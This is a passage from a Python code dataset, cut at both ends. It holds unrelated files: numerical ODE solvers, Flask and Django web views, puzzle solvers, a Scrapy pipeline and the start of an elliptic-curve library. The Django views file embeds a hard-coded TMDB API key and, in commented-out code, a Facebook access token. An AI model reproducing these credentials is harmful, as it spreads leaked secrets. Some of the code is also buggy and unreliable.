n-1):\n\t\t# adams bashfort\n\t\tF1 = 55*F(x_back[3], y_back[3])\n\t\tF2 = -59*F(x_back[2], y_back[2])\n\t\tF3 = 37*F(x_back[1], y_back[1])\n\t\tF4 = -9*F(x_back[0], y_back[0])\n\t\tx = x + h\n\t\ty = y + h*(F1+F2+F3+F4)/24\n\t\t\n\t\tif apply_moulton_correction:\n\t\t\tF0 = 9*F(x,y)\n\t\t\tF1 = 19*F(x_back[3], y_back[3])\n\t\t\tF2 = -5*F(x_back[2], y_back[2])\n\t\t\tF3 = F(x_back[1], y_back[1])\n\t\t\ty = y_back[3] + h*(F0+F1+F2+F3)/24\n\t\tresult.add(x,y)\n\t\t\n\t\t\n\t\tfor i in range(3):\n\t\t\tx_back[i] = x_back[i+1]\n\t\t\ty_back[i] = y_back[i+1]\n\t\t\t\n\t\tx_back[3] = x\n\t\ty_back[3] = y\n\t\t\n\treturn result\n\t\ndef ab4(x_0, y_0, h, n, f ):\n\treturn bashfort_moulton4(x_0, y_0, h, n, f, False)\n\ndef am4(x_0, y_0, h, n, f):\n\treturn bashfort_moulton4(x_0, y_0, h, n, f, True)\n\t\ndef bashfort_moulton5(x_0, y_0, h, n, f, apply_moulton_correction):\n\tif n <= 5:\n\t\treturn rk5(x_0, y_0, h, n, f)\n\tF = lambda x,y: numpy.append(y[1:], f(x,y)) \n\tresult = rk5(x_0, y_0, h, 5, f)\n\n\tx_back = result.x[1:]\n\ty_back = result.y[1:]\n\t\n\tx = x_back[4]\n\ty = y_back[4]\n\t\n\tfor i in range(4, n-1):\n\t\t# adams bashfort\n\t\tF1 = 1901*F(x_back[4], y_back[4])\n\t\tF2 = -2774*F(x_back[3], y_back[3])\n\t\tF3 = 2616*F(x_back[2], y_back[2])\n\t\tF4 = -1274*F(x_back[1], y_back[1])\n\t\tF5 = 251*F(x_back[0], y_back[0])\n\t\tx = x + h\n\t\ty = y + (h*(F1+F2+F3+F4+F5)/720)\n\t\t\n\t\tif apply_moulton_correction:\n\t\t\t#adams moulton\n\t\t\tF0 = 251*F(x,y)\n\t\t\tF1 = 646*F(x_back[4], y_back[4])\n\t\t\tF2 = -264*F(x_back[3], y_back[3])\n\t\t\tF3 = 106*F(x_back[2], y_back[2])\n\t\t\tF4 = -19*F(x_back[1], y_back[1])\n\t\t\ty = y_back[4] + h*(F0+F1+F2+F3+F4)/720\n\t\tresult.add(x,y)\n\t\t\n\t\tfor i in range(4):\n\t\t\tx_back[i] = x_back[i+1]\n\t\t\ty_back[i] = y_back[i+1]\n\t\t\t\n\t\tx_back[4] = x\n\t\ty_back[4] = y\n\t\t\n\treturn result\n\ndef ab5(x_0, y_0, h, n, f):\n\treturn bashfort_moulton5(x_0, y_0, h, n, f, False)\n\ndef am5(x_0, y_0, h, n, f):\n\treturn bashfort_moulton5(x_0, y_0, h, n, f, True)\n\t\n# ______________________________________\t\n\t\ndef is_triangular(matrix):\n\tif not isinstance(matrix, list):\n\t\treturn False\n\tis_a_row = [isinstance(i, list) for i in matrix]\n\tif False in is_a_row:\n\t\treturn False\n\tsize_of_row1 = [i + 1 for i in range(len(matrix))]\n\tsize_of_row2 = [len(i) for i in matrix]\n\treturn size_of_row1==size_of_row2\n\ndef butcher_general_explicit(x_0, y_0, h, n, f, A, B, C):\n\tif len(C) != len(B) - 1:\n\t\traise Exception\n\telif len(C) != len(A):\n\t\traise Exception\n\telif not is_triangular(A):\n\t\traise Exception\n\tF = lambda x,y: numpy.append(y[1:], f(x,y))\n\tresult = SimpleFunction()\n\tx = numpy.array(x_0)\n\ty = numpy.array(y_0)\n\tresult.add(x_0, y_0)\n\t\n\tfor i in range(n):\n\t\tk = [F(x,y)]\n\t\tfor j in range(len(A)-1): # we compute k coeffs\n\t\t\tdelta_x = h * C[j]\n\t\t\tdelta_y = sum([k[j] * A[j][t] for t in range(j+1)])\n\t\t\tk.append(F(x + delta_x, y + h*delta_y))\n\t\t\n\t\tx = x + h\n\t\ty = y + h * sum([B[t] * k[t] for t in range(len(k))])\n\t\n\t\tresult.add(x,y)\n\t\t\n\treturn result\n\ndef butcher(A,B,C):\n\treturn lambda x_0, y_0, h, n, f: butcher_general_explicit(x_0, y_0, h, n, f, A, B, C)\n\nA_0 = [[0.5], [0, 0.5], [0,0,1]]\nC_0 = [0.5, 0.5, 1]\nB_0 = [1/6, 1/3, 1/3, 1/6]\n\nrk_x = butcher(A_0, B_0, C_0)\n\n# ______________________________________\n\nplot_types = [\"b.\", \"ro\", \"gs\", \"mh\"]\n\nplot_types = [\"b.\", \"ro\", \"gs\", \"mh\"]\n\ndef make_plot(x_0, x_n, y_0, h, f, method, exact_sol = None):\n\t\n\tif not isinstance(method, list):\n\t\tmake_plot(x_0, x_n, y_0, h, f, [method], exact_sol)\n\t\treturn\n\telif not isinstance(h, list):\n\t\tmake_plot(x_0, x_n, y_0, [h], f, method, exact_sol)\n\t\treturn\n\telif len(method) == 1 and len(h) != 1:\n\t\tmake_plot(x_0, x_n, y_0, h, f, method*len(h), exact_sol) \n\t\treturn\n\telif len(h) == 1 and len(method) != 1:\n\t\tmake_plot(x_0, x_n, y_0, h*len(method), f, method, exact_sol) \n\t\treturn\n\telif len(method) != len(h):\n\t\traise Exception(\"vectors h and len are not equally long\")\n\telif len(h) > len(plot_types):\n\t\traise Exception(\"Function can only draw \" + str(len(plot_types)) + \" approximations at once\")\n\t\n\t\n\tplot_args = []\n\tplot = []\n\t\n\tif exact_sol:\n\t\texact_x = [x_0 + (x_n - x_0)*i/10000 for i in range(10001)]\n\t\texact_y = [exact_sol(x) for x in exact_x]\n\t\tplot.append(plt.plot(exact_x, exact_y, 'k-', label = \"rozw. dokładne\"))\n\t\n\tfor i in range(len(h)):\n\t\tsol = method[i](x_0, y_0, h[i], int((x_n - x_0)/h[i]), f)\n\t\tapprox_x = sol.x[::int(len(sol.x)/10)]\n\t\tapprox_y = [y[0] for y in sol.y][::int(len(sol.x)/10)]\n\t\t#plot_args += [approx_x, approx_y, plot_types[i]]\n\t\tplt.plot(approx_x, approx_y, plot_types[i], label = method[i].__name__ + \", h = \" + str(h[i]))\n\t\n\tplt.legend(bbox_to_anchor=(1, 1))\n\t\n#def make_plot(x_0, x_n, y_0, h, f, method):\n# make_plot(x_0, x_n, y_0, h, f, method, None)","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"652954813","text":"from flask import (render_template, url_for, flash,\n redirect, request, abort, Blueprint)\nfrom flask_login import current_user, login_required\nfrom flaskblog import db\nfrom flaskblog.models import Post, Comment , React\nfrom flaskblog.posts.forms import PostForm, CommentForm, ReactForm, DisReactForm\nfrom flaskblog.users.utils import save_post_picture\n\nposts = Blueprint('posts', __name__)\n\n\n@posts.route(\"/post/new\", methods=['GET', 'POST'])\n@login_required\ndef new_post():\n form = PostForm()\n if form.validate_on_submit():\n if form.picture.data:\n picture_file = save_post_picture(form.picture.data)\n image_file = picture_file\n post = Post(title=form.title.data, content=form.content.data, author=current_user,post_file=image_file)\n else:\n post = Post(title=form.title.data, content=form.content.data, author=current_user)\n db.session.add(post)\n db.session.commit()\n flash('Your post has been created!', 'success')\n return redirect(url_for('main.home'))\n return render_template('create_post.html', title='New Post',\n form=form, legend='New Post')\n\n\n@posts.route(\"/post/\", methods=['GET', 'POST'])\n@login_required\ndef post(post_id):\n post = Post.query.get_or_404(post_id)\n form = CommentForm()\n form2 = ReactForm()\n form3 = DisReactForm()\n reactis = React.query.filter_by(author3=current_user , author4=post).all()\n reactis2 = React.query.filter_by(author3=current_user , author4=post).first()\n postreactis = React.query.filter_by(author4=post).all()\n print(reactis2)\n comments = Comment.query.filter_by(post_id=post_id)\\\n .order_by(Comment.date_comment.desc()).all()\n if form.submit1.data and form.validate():\n pos = Comment(comment_content=form.comment.data, author1=current_user,author2=post)\n db.session.add(pos)\n db.session.commit()\n flash('Thank you for the comment', 'success')\n return redirect(url_for('posts.post', post_id=post_id))\n if form2.submit2.data:\n rct = React(author3=current_user, author4=post)\n db.session.add(rct)\n db.session.commit()\n return redirect(url_for('posts.post', post_id=post_id))\n if form3.submit3.data:\n db.session.delete(reactis2)\n db.session.commit()\n return redirect(url_for('posts.post', post_id=post_id))\n\n return render_template('post.html', title=post.title, post=post,form=form,commentsno=len(comments),comments=comments,form3=form3, form2=form2,postreactis =len(postreactis),reactis=len(reactis))\n\n@posts.route(\"/post//update\", methods=['GET', 'POST'])\n@login_required\ndef update_post(post_id):\n post = Post.query.get_or_404(post_id)\n if post.author != current_user:\n abort(403)\n form = PostForm()\n if form.validate_on_submit():\n post.title = form.title.data\n post.content = form.content.data\n db.session.commit()\n flash('Your post has been updated!', 'success')\n return redirect(url_for('posts.post', post_id=post.id))\n elif request.method == 'GET':\n form.title.data = post.title\n form.content.data = post.content\n return render_template('create_post.html', title='Update Post',\n form=form, legend='Update Post')\n\n\n@posts.route(\"/post//delete\", methods=['POST'])\n@login_required\ndef delete_post(post_id):\n post = Post.query.get_or_404(post_id)\n if post.author != current_user:\n abort(403)\n db.session.delete(post)\n db.session.commit()\n flash('Your post has been deleted!', 'success')\n return redirect(url_for('main.home'))\n","sub_path":"flaskblog/posts/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"456665413","text":"from django.shortcuts import render\nfrom .API_ERA import popular\nfrom .API_ERA import Classes\nfrom .API_ERA import Genres\nfrom .API_ERA import Search\nfrom .API_ERA import recommend\nfrom random import shuffle\nfrom django.views.decorators.cache import cache_page\nfrom tmdb3 import Movie\nfrom tmdb3 import Series\nfrom tmdb3 import set_key\n\nkey = '79f8797f2c2e527e4e396dfe9816a3cd'\nset_key(key)\n\n\ndef slide():\n movies_tv = popular.getPopular()\n shuffle(movies_tv)\n\n first_movie = movies_tv[0]\n movies_tv = movies_tv[1:]\n\n return first_movie, movies_tv\n\n\ndef popularMovies(GenreMovieList):\n popMovies = []\n for g in GenreMovieList:\n x = GenreMovieList[g][0]\n popMovies.append(x)\n\n return popMovies\n\n\ndef popularTV(GenreTVList):\n popTV = []\n for g in GenreTVList:\n x = GenreTVList[g][0]\n popTV.append(x)\n\n return popTV\n\n\ndef gen_vardict():\n var_dict = {}\n first_movie, movies_tv = slide()\n var_dict['First'] = first_movie\n print(len(first_movie.genreName), \"\\t\", first_movie.title)\n for c in movies_tv:\n print(len(c.genreName), \"\\t\", c.title)\n var_dict['MoviesTV'] = movies_tv\n\n genresMovie = ['Crime', 'Thriller', 'Fantasy', 'Science Fiction']\n genresTV = ['Comedy', 'Drama', 'Mystery', 'Reality']\n GenreMovieList, GenreTVList = Genres.getGenreList(genresMovie, genresTV)\n popMovies = popularMovies(GenreMovieList)\n popTV = popularTV(GenreTVList)\n var_dict['popMovies'] = popMovies\n var_dict['popTV'] = popTV\n\n genresMovie = ['Romance', 'Comedy', 'Drama']\n genresTV = []\n GenreMovieList, _ = Genres.getGenreList(genresMovie, genresTV)\n\n for g in GenreMovieList:\n key = g + 'Movie'\n var_dict[key] = GenreMovieList[g][0:4]\n return var_dict\n\n\n@cache_page(60 * 1440)\ndef khatam(request):\n var_dict = gen_vardict()\n # cache.set('var_dict',var_dict,60*1440)\n # var_dict = cache.get('var_dict')\n return render(request, 'moviestar/index.html', var_dict)\n\n\ndef movie(request, movieid):\n m = Movie(movieid)\n mx = Classes.Movies()\n mx.set(movie=m)\n mdict = {}\n mdict['movie'] = mx\n mdict['rec'] = recommend.getRecMov(movieid)\n return render(request, 'moviestar/movie.html', mdict)\n\n\ndef tv(request, tvid):\n t = Series(tvid)\n tx = Classes.TV()\n tx.set(tv=t)\n tdict = {}\n tdict['tv'] = tx\n tdict['rec'] = recommend.getRecTV(tvid)\n return render(request, 'moviestar/tv.html', tdict)\n\n\ndef search(request):\n if request.method == 'POST':\n movies_query = str(request.POST.get('movie'))\n tv_query = str(request.POST.get('tv'))\n\n print(\"Movie Query: \", movies_query)\n print(\"TV Query: \", tv_query)\n if movies_query:\n flag, res = Search.getMovie(movies_query)\n results = {}\n results['res'] = res\n return render(request, 'moviestar/searchMovie.html', results)\n else:\n flag, res = Search.getTV(tv_query)\n results = {}\n results['res'] = res\n return render(request, 'moviestar/searchTV.html', results)\n else:\n return render(request, 'moviestar/search.html')\n\n\ndef register(request):\n if request.method == 'POST':\n usermail = request.POST.get('email')\n password = request.POST.get('password')\n\n user = User.objects.create(username=usermail)\n user.set_password(password)\n user.save()\n return render(request, 'rocku/login.html')\n else:\n return render(request, 'rocku/register.html')\n\n\n'''\n# def registration(request,p):\n # if request.method=='POST':\n # print (p)\n # fname = request.POST.get('fname')\n # lname = request.POST.get('lname')\n\n # profile_pic = request.FILES['profile_pic']\n\n # day = request.POST.get('day')\n # month = request.POST.get('month')\n # year = request.POST.get('year')\n\n # gender = request.POST.get('gender')\n\n # city = request.POST.get('city')\n # country = request.POST.get('country')\n\n # upass = request.POST.get('upass')\n # upass1 = request.POST.get('upass1')\n\n # print (fname)\n # print(lname)\n # print(day)\n # print(month)\n # print(year)\n # print(gender)\n # print(city)\n # print(country)\n\n # if upass == upass1:\n # up = User.objects.get(password=p)\n # print (up)\n\n # userprofile = UserProfile.objects.create(user=up,first_name=fname\n ,last_name=lname,\n # profile_pic=profile_pic,day=day,month=month,year=year,gender=gender,\n # city=city,country=country)\n # userprofile.save()\n # up.set_password(upass)\n # up.save()\n\n # user = authenticate(username=up.username, password=upass)\n\n # if user.is_active:\n # auth_login(request, user)\n\n # return redirect('/profile/')\n\n\n # else:\n # return HttpResponse(\"Unexpected Error! Please Try Again.\")\n\n # else:\n # return HttpResponse('Enter password correctly')\n\n # else:\n # up=User.objects.get(password=p)\n # print (up)\n # return render(request,'pages/details.html',{ 'p':p, 'day':range(31),\n # 'year':range(1980,2017) })\n\n\n\n\ndef login(request):\n context = {}\n if request.method == 'POST':\n username = request.POST['username']\n password = request.POST['password']\n print(username)\n print(password)\n user = authenticate(username=username, password=password)\n\n if user is not None:\n if user.is_active:\n auth_login(request, user)\n return redirect('/')\n\n else:\n context['error'] = 'Non active user'\n else:\n context['error'] = 'Wrong username or password'\n else:\n context['error'] = ''\n\n # populateContext(request, context)\n\n return render(request, 'rocku/login.html', context)\n\n\n\ndef logout(request):\n context = {}\n if request.user.is_authenticated():\n auth_logout(request)\n # context['error'] = 'Some error occured.'\n\n # populateContext(request, context)\n return render(request, 'rocku/login.html', context)\n\n\n\n# def populateContext(request, context):\n# context['authenticated'] = request.user.is_authenticated()\n# if context['authenticated'] == True:\n# context['username'] = request.user.username\n # auth_logout(request)\n\n# Create your views here.\n\n # def friend_list(request):\n # context = {}\n # fb_uid = SocialAccount.objects.filter(user_id=request.user.id,\n provider='facebook')\n # print ('hi')\n # print (fb_uid[0].uid)\n # if fb_uid.exists():\n # fb_uid = fb_uid[0].uid\n # tolken = SocialToken.objects.filter(account__user=request.user,\n account__provider='facebook').first()\n # #tolken='EAACEdEose0cBAPnFKDHpJpq7wvScCDma9dxd1V17NEejvVy2U0rVVbkOiX5aXHOjhapHyFaG5Ayo5dyAFCI0Ufv6aZA9wD0uNRRbxE0IOM4fRDWrWidJsGUuRNHm0RuIDEv5lhij5wKJZBJEOaEJKj7b6i5HlOdOhJPzLnA6TaP6H8CzK5gOWeLneoM6YZD'\n # print(tolken)\n # returned_json = requests.get(\"https://graph.facebook.com/v2.10/\"\n + fb_uid + \"/friends?access_token=\"\n + 'EAACEdEose0cBAPnFKDHpJpq7wvScCDma9dxd1V17NEejvVy2U0rVVbkOiX5'\n 'aXHOjhapHyFa'\n 'G5Ayo5dyAFCI0Ufv6aZA9wD0uNRRbxE0IOM4fRDWrWidJsGUuRNHm0RuIDEv5lhij5wKJZBJEOaEJKj7b6i5HlOdOhJPzLnA6TaP6H8CzK5gOWeLneoM6YZD')\n # targets = returned_json.json()['data']\n # print(targets)\n # # id_list = [target['id'] for target in targets]\n # # friends = SocialAccount.objects.filter(uid__in=id_list)\n # # print(friends)\n # # context['friends'] = friends\n # return render(request,'friendslist.html',)\n\ndef friend_list(request):\n context = {}\n fb_uid = SocialAccount.objects.filter(user_id=request.user.id,\n provider='facebook')\n print ('hi')\n print (fb_uid[0].uid)\n if fb_uid.exists():\n fb_uid = fb_uid[0].uid\n tolken = SocialToken.objects.filter(account__user=request.user,\n account__provider='facebook').first()\n # returned_json = requests.get(\"https://graph.facebook.com/v2.9/\"\n + fb_uid\n + \"/friends?access_token=\" + str(tolken))\n print(tolken)\n returned_json = requests.get(\"https://graph.facebook.com/v2.10/\"\n + fb_uid\n + \"?fields=friends{name}&access_token=\" + str(tolken))\n # print(returned_json.json()['friends'])\n # targets = returned_json.json()['data']\n # id_list = [target['id'] for target in targets]\n # friends = SocialAccount.objects.filter(uid__in=id_list)\n # context['friends'] = friends\n print (context)\n return render(request,'friendslist.html',{'friends':context})\n\n\ndef fblogin(request):\n return render(request,'fblogin.html')\n\n\ndef register(request):\n if(request.method=='POST'):\n some_var=request.POST.getlist('checks[]')\n print (len(some_var))\n print (some_var)\n return HttpResponse('fuck you')\n else:\n genrelist=genre.objects.all()\n print(genrelist)\n return render(request,'register.html',{'genrelist':genrelist})\n\n\ndef temp(request):\n return render(request,'moviestar/temp.html')\n\n\n\ndef dashboard(request):\n # u = customUser()\n u.setAttr(obj=request)\n return render(request,'moviestar/single-movie.html')\n'''\n","sub_path":"apiApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"61082889","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.5 (3350)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/christian/Documents/workspace/Yeti/yeti/modules/triggers.py\n# Compiled at: 2016-02-16 19:41:05\n# Size of source mod 2**32: 2302 bytes\nfrom yeti import Module\nimport asyncio\n\nclass Triggers(Module):\n\n def module_init(self):\n pass\n\n def on_rising_edge(self, value_poll, callback, poll_time=0.2, repeat=True):\n coro = self.wait_for_rising_edge(value_poll, callback, poll_time=poll_time, repeat=repeat)\n self.start_coroutine(coro)\n\n def on_value(self, value_poll, value_target, value_tolerance=None, callback=None, poll_time=0.2, repeat=True):\n coro = self.wait_for_value(value_poll, value_target, value_tolerance, callback, poll_time=poll_time)\n self.start_coroutine(coro)\n\n def compare_value(self, value, target, tolerance=None):\n if tolerance is None:\n return value == target\n return abs(value - target) <= tolerance\n\n async def wait_for_value(self, value_poll, value_target, value_tolerance=None, callback=None, poll_time=0.2, repeat=False):\n await self.wait_for_condition(lambda : self.compare_value(value_poll(), value_target, value_tolerance), callback=callback, poll_time=poll_time, repeat=False)\n\n async def wait_for_rising_edge(self, condition, callback=None, poll_time=0.2, repeat=False):\n while True:\n await self.wait_for_condition(lambda : not condition(), poll_time=poll_time)\n await self.wait_for_condition(condition, callback=callback, poll_time=poll_time)\n if not repeat:\n break\n await asyncio.sleep(0.2)\n\n async def wait_for_condition(self, condition, callback=None, poll_time=0.2, repeat=False):\n while True:\n while not condition():\n await asyncio.sleep(poll_time)\n\n if callback is None:\n break\n else:\n if asyncio.iscoroutine(callback):\n await callback()\n else:\n callback()\n if not repeat:\n break\n await asyncio.sleep(0.2)","sub_path":"pycfiles/yeti-2016.0.3.tar/triggers.cpython-35.py","file_name":"triggers.cpython-35.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"257596519","text":"\n# def decimalToAny(num,n):\n# baseStr = {10:\"a\",11:\"b\",12:\"c\",13:\"d\",14:\"e\",15:\"f\",16:\"g\",17:\"h\",18:\"i\",19:\"j\"}\n# new_num_str = \"\"\n# while num != 0:\n# remainder = num % n\n# if 20 > remainder > 9:\n# remainder_string = baseStr[remainder]\n# elif remainder >=20:\n# remainder_string = \"(\"+str(remainder)+\")\"\n# else:\n# remainder_string = str(remainder)\n# new_num_str = remainder_string+new_num_str\n# num = num / n\n# return new_num_str\n\nimport math\n\ndef isPrime(n): \n if n <= 1: \n return False \n for i in range(2, int(math.sqrt(n)) + 1): \n if n % i == 0: \n return i \n return -1\n\ndef anyToDecimal(num,n):\n baseStr = {\"0\":0,\"1\":1,\"2\":2,\"3\":3,\"4\":4,\"5\":5,\"6\":6,\"7\":7,\"8\":8,\"9\":9,\n \"a\":10,\"b\":11,\"c\":12,\"d\":13,\"e\":14,\"f\":15,\"g\":16,\"h\":17,\"i\":18,\"j\":19}\n new_num = 0\n nNum = len(num) - 1\n for i in num: \n new_num = new_num + baseStr[i]*pow(n,nNum)\n nNum = nNum -1 \n return new_num\n\ndef main():\n fin = open('input.txt', 'r')\n fout = open('output.txt', 'w')\n T = int(fin.readline())\n for t in xrange(T):\n fout.write('Case #{}:\\n'.format(t + 1))\n N, J = map(int, fin.readline().split())\n s = ['0' for _ in xrange(N)]\n s[0] = s[-1] = '1'\n cnt = 0\n while True:\n for i in xrange(N - 2):\n if s[N - i - 2] == '0':\n s[N - i - 2] = '1'\n break\n else:\n s[N - i - 2] = '0'\n ans = []\n flag = True\n for i in xrange(2, 11):\n ans.append(isPrime(anyToDecimal(\"\".join(s), i)))\n if ans[-1] == -1:\n flag = False\n break\n if flag:\n fout.write('{} {}\\n'.format(\"\".join(s), ' '.join(map(str, ans))))\n cnt += 1\n if cnt == J:\n break\n fout.close()\n\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"codes/CodeJamCrawler/16_0_3_neat/16_0_3_Orpinexyw_C.py","file_name":"16_0_3_Orpinexyw_C.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"382000386","text":"#Author: GMelyanovskiy\n\nprint(\"Enter the zero (0), for exit.\")\nwhile True:\n userInput = input(\"Char (+,-,*,/): \")\n if userInput == '0': break\n if userInput in ('+','-','*','/'):\n x = float(input(\"First number: \"))\n y = float(input(\"Second number: \"))\n if userInput == '+':\n print(\"%.2f\" % (x+y))\n elif userInput == '-':\n print(\"%.2f\" % (x-y))\n elif userInput == '*':\n print(\"%.2f\" % (x*y))\n elif userInput == '/':\n if y != 0:\n print(\"%.2f\" % (x/y))\n else:\n print(\"Zero division!\")\n else:\n print(\"Uncorrect char operation!\")","sub_path":"calculate.py","file_name":"calculate.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"233039186","text":"import json\nclass E8Queens():\n\tdef __init__(self,config):\n\t\tself.sols=[]\n\t\tself.config=config\n\n\tdef findSols(self):\n\t\tfor i in range(8):\n\t\t\tif self.config[i] == -1:\n\t\t\t\tself.solve(i)\n\t\t\t\tbreak\n\n\tdef solve(self,k):\n\t\tfor i in range(0,8):\n\t\t\tif self.isOk(k,i):\n\t\t\t\tself.config[k]=i\n\t\t\t\tif k==7:\n\t\t\t\t\tself.addSolution()\n\t\t\t\telse:\n\t\t\t\t\tself.solve(k+1)\n\n\tdef isOk(self,row,cpos):\n\t\tfor i in range(row):\n\t\t\tif self.config[i]!=-1 and (self.config[i]==cpos or abs(self.config[i]-cpos)==abs(i-row)):\n\t\t\t\treturn False\n\t\t\telse:\n\t\t\t\tcontinue\n\t\treturn True\n\n\tdef addSolution(self):\n\t\tself.sols.append([i for i in self.config])\n\n\tdef getSolution(self):\n\t\treturn self.sols\n\n\tdef printBoard(self,board):\n\t\tfor i in range(8):\n\t\t\tprint(\"\\t\",end=\" \")\n\t\t\tfor j in range(8):\n\t\t\t\tif board[i]==j:\n\t\t\t\t\tprint('X' ,end=\" \")\n\t\t\t\telse:\n\t\t\t\t\tprint('-',end=\" \")\n\t\t\tprint('')\n\n\nif __name__ == \"__main__\":\n\tdata = open(\"input.json\",\"r\")\n\tdata = json.load(data)\n\tinitial = data[\"pos\"]\n\tproblem = E8Queens(initial)\n\tprint(\"Given 8 Queen Problem-\")\n\tproblem.printBoard(initial)\n\tproblem.findSols()\n\tsol= problem.getSolution()\n\tcnt=0\n\tfor i in sol:\n\t\tprint(\"Solution \"+str(cnt)+\" :\")\n\t\tproblem.printBoard(i)\n\t\tcnt+=1\n\tif len(sol)==0:\n\t\tprint(\"No solution to given problem.\")\n","sub_path":"BE-1/CL-1/DAA/8Queens/8queens.py","file_name":"8queens.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"456099921","text":"import sys\r\nfrom collections import deque\r\n\r\ndx=[1,-1,0,0]\r\ndy=[0,0,-1,1]\r\n\r\ndef bfs(i,j,visit):\r\n q=deque()\r\n q.append([i,j])\r\n melt_q=deque()\r\n visit[i][j]=1\r\n while q:\r\n i,j=q.popleft()\r\n melt_cnt=0\r\n for _ in range(4):\r\n nx=i+dx[_]\r\n ny=j+dy[_]\r\n if 0<=nx<=x-1 and 0<=ny<=y-1 and visit[nx][ny]==0:\r\n if glacier[nx][ny]!=0:\r\n visit[nx][ny]=1\r\n q.append([nx,ny])\r\n else:\r\n melt_cnt+=1\r\n if melt_cnt:\r\n melt_q.append([i,j,melt_cnt])\r\n return melt_q\r\n\r\nx,y=map(int, sys.stdin.readline().split())\r\nglacier=[list(map(int, sys.stdin.readline().split())) for _ in range(x)]\r\nyear=0\r\n\r\nwhile True:\r\n cnt=0\r\n visit=[[0 for _ in range(y)] for _ in range(x)]\r\n for i in range(x-1):\r\n for j in range(y-1):\r\n if glacier[i][j]!=0 and visit[i][j]==0:\r\n cnt+=1\r\n melt=bfs(i,j,visit)\r\n while melt:\r\n mx,my,m=melt.popleft()\r\n glacier[mx][my]=max(glacier[mx][my]-m,0)\r\n if cnt==0:\r\n year=0\r\n break\r\n if cnt>=2:\r\n break\r\n year+=1\r\nprint(year)","sub_path":"BOJ2573.py","file_name":"BOJ2573.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"379907805","text":"# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n\n# useful for handling different item types with a single interface\nfrom itemadapter import ItemAdapter\n\n\nclass Homework2Pipeline:\n def process_item(self, item, spider):\n title, movie_type, plan_date = map(item.get, ('title', 'movie_type', 'plan_date'))\n output = f'{title}\\n{movie_type}\\n{plan_date}\\n\\n'\n with open('./maoyantop10_2.csv', 'a+', encoding='utf-8') as f:\n f.write(output)\n return item\n","sub_path":"week01/homework2/homework2/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"53803748","text":"import binascii\nimport hashlib\nimport random\nimport re\nfrom sys import (\n version_info,\n)\nimport time\n\nfrom eth_account.hdaccount import (\n pyspecials,\n)\n\n# import base64\n# import hmac\n\n'''\nThis library is composite from main.py in pybitcointools\nhttps://github.com/vbuterin/pybitcointools/blob/aeb0a2bbb8bbfe421432d776c649650eaeb882a5/bitcoin/deterministic.py\n'''\n\n\n# Elliptic curve parameters (secp256k1)\n\nP = 2**256 - 2**32 - 977\nN = 115792089237316195423570985008687907852837564279074904382605163141518161494337\nA = 0\nB = 7\nGx = 55066263022277343669578718895168534326250603453777594175500187360389116729240\nGy = 32670510020758816978083085130507043184471273380659243275938904335757337482424\nG = (Gx, Gy)\n\n\ndef change_curve(p, n, a, b, gx, gy):\n global P, N, A, B, Gx, Gy, G\n P, N, A, B, Gx, Gy = p, n, a, b, gx, gy\n G = (Gx, Gy)\n\n\ndef getG():\n return G\n\n# Extended Euclidean Algorithm\n\n\ndef inv(a, n):\n if a == 0:\n return 0\n lm, hm = 1, 0\n low, high = a % n, n\n while low > 1:\n r = high // low\n nm, new = hm - lm * r, high - low * r\n lm, low, hm, high = nm, new, lm, low\n return lm % n\n\n# JSON access (for pybtctool convenience)\n\n\ndef access(obj, prop):\n if isinstance(obj, dict):\n if prop in obj:\n return obj[prop]\n elif '.' in prop:\n return obj[float(prop)]\n else:\n return obj[int(prop)]\n else:\n return obj[int(prop)]\n\n\ndef multiaccess(obj, prop):\n return [access(o, prop) for o in obj]\n\n\ndef slice(obj, start=0, end=2**200):\n return obj[int(start):int(end)]\n\n\ndef count(obj):\n return len(obj)\n\n\n_sum = sum\n\n\ndef sum(obj):\n return _sum(obj)\n\n\ndef isinf(p):\n return p[0] == 0 and p[1] == 0\n\n\ndef to_jacobian(p):\n o = (p[0], p[1], 1)\n return o\n\n\ndef jacobian_double(p):\n if not p[1]:\n return (0, 0, 0)\n ysq = (p[1] ** 2) % P\n S = (4 * p[0] * ysq) % P\n M = (3 * p[0] ** 2 + A * p[2] ** 4) % P\n nx = (M**2 - 2 * S) % P\n ny = (M * (S - nx) - 8 * ysq ** 2) % P\n nz = (2 * p[1] * p[2]) % P\n return (nx, ny, nz)\n\n\ndef jacobian_add(p, q):\n if not p[1]:\n return q\n if not q[1]:\n return p\n U1 = (p[0] * q[2] ** 2) % P\n U2 = (q[0] * p[2] ** 2) % P\n S1 = (p[1] * q[2] ** 3) % P\n S2 = (q[1] * p[2] ** 3) % P\n if U1 == U2:\n if S1 != S2:\n return (0, 0, 1)\n return jacobian_double(p)\n H = U2 - U1\n R = S2 - S1\n H2 = (H * H) % P\n H3 = (H * H2) % P\n U1H2 = (U1 * H2) % P\n nx = (R ** 2 - H3 - 2 * U1H2) % P\n ny = (R 